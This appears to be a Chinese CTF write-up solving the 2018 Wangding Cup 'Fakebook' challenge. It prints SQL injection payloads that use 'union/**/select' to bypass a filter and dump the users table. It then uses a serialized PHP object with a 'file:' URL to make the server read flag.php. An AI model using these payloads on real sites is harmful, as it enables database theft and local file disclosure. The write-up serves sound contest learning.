当前位置: 首页 > article >正文

[网鼎杯 2018]Fakebook

点击进入页面,发现有login和join两个页面,我们尝试登录login未果,于是转去join页面,随便填写一些信息

点击jion,发现注册成功,随后便出现了所有我们注册了的页面:

 随便点击一个,比如这里我们点击admin,可以注意到的是,我们这里多了一个参数no,结合前面的登录,我们很快就联想到是不是存在sql注入呢?

 首先,判断是数字型注入还是字符型注入,有一个很简单的方法,使用no=2-1来判断:

如果是数字型注入的话,我们传入的参数就会被当作数字来执行,于是返回结果就是no=1的界面;反之,如果是字符型注入的话,我们传入的参数值就会被当作字符来进行执行,于是返回的结果就是no=2的结果;

 我们可以看到返回值是no=1的结果,于是可以判定这是数字型的注入:

判断有几列:

?no=1 order by 3#        正常回显

?no=1 order by 5#        回显报错

?no=1 order by 4#         正常回显

 于是我们可以判定是4列,接下来就是最基本的union查询了,但是我们union select的时候会报错,尝试过后发现是过滤掉了,但是union/**/select可以,于是构造payload如下:

查询库名:

?no=-1 union/**/select 1,database(),3,4 #

得到库名:fakebook

 查询表名:

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

 得到表名:users

查询列名:

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #

 得到四个列名:no,username,passwd,data

爆列中的具体信息:

?no=-1 union/**/select 1,group_concat(no,"~",username,"~",passwd,"~",data),3,4 from fakebook.users #

 可以注意到的是,data的内容是序列化之后的。

这个时候我们可以用扫描工具扫一下,也可以扫出来robots.txt

访问robots.txt,我们可以发现user.php.apk,下载下来打开发现是php文件:

<?php


class UserInfo
{
    //初始化变量
    public $name = "";
    public $age = 0;
    public $blog = "";
    
    //构造函数
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)//如果请求成功返回响应内容
    {
        
        $ch = curl_init();//初始化一个新的curl会话,并返回一个curl句柄$ch

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//curl执行结果以字符串的形式返回
        $output = curl_exec($ch);//执行 cURL 会话,发送请求并获取响应。如果请求成功,返回响应内容,若失败则返回 false
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);//关闭会话

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
/*
正则表达式的含义:
^(((http(s?))\:\/\/)?): 可选的协议部分(http:// 或 https://)。
([0-9a-zA-Z\-]+\.)+: 至少一个由字母、数字或连字符组成的域名片段(例如 example.)。
[a-zA-Z]{2,6}: 顶级域名(例如 .com,长度为2到6个字符)。
(\:[0-9]+)?: 可选的端口号(例如 :8080)。
(\/\S*)?: 可选的路径部分。
*/

}

看到了这个代码,结合之前看到的序列化的内容,我们可以联想到:利用blog将我们想要的内容序列化,之后再传入blog当中,我们已经知道文件路径是/var/www/html,我们尝试访问flag.php文件,于是可以写一个php脚本:

<?php


class UserInfo
{
    public $name = "admin1";
    public $age = 1;
    public $blog = "file:var/www/html/flag.php";



}
$a = new UserInfo();
echo serialize($a);

 得到序列化的内容:

O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}

之前我们知道,回显位是username,那么data对应应该就是第四个字段,将反序列化字符串尝试以注入的方式写入

构造payload:

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}'  #

 得到页面:

 可以看到的是blog现在已经变成了flag.php,那么也说明现在显示了flag.php文件的内容,我们这时查看源码,可以发现一串base编码的值,

 点击就得到了flag

这道题就写到这里啦,喜欢的话给我点个赞吧!


http://www.kler.cn/news/342581.html

相关文章:

  • 半导体随机存储器的主要类型有哪些
  • The 2024 ICPC Kunming Invitational Contest K. Permutation(交互 期望)
  • 前端css文本超出隐藏或显示省略号的多种方式
  • 无需复杂计算!如何用“加法”打造高效而低功耗的语言模型
  • Apple Intelligence将于10月28日发布,ChatGPT集成推迟!
  • springboot 整合spring ai实现 基于知识库的客服问答
  • 机器学习K近邻算法——python详细代码解析(sklearn)(1)
  • STM32 USB CUBEMX
  • 【cpp】 lambda 表达式常用笔记
  • 安卓数据共享
  • Docker 部署 Redis 监控系统实战:Redis Exporter 与 Prometheus 完整配置指南
  • 数学建模算法与应用 第8章 时间序列分析
  • 重学SpringBoot3-集成Redis(七)之分布式限流
  • springboot第75集:kafka,线程,进程,容器化服务,线程池
  • 基于深度学习的复杂器官建模与模拟
  • Linux 安全日志分析及方法
  • 初学java练习题【1】
  • 自然语言处理问答系统:技术进展、应用与挑战
  • 基于STM32 ARM+FPGA+AD的电能质量分析仪方案设计(一)硬件设计
  • 使用Pytorch写简单线性回归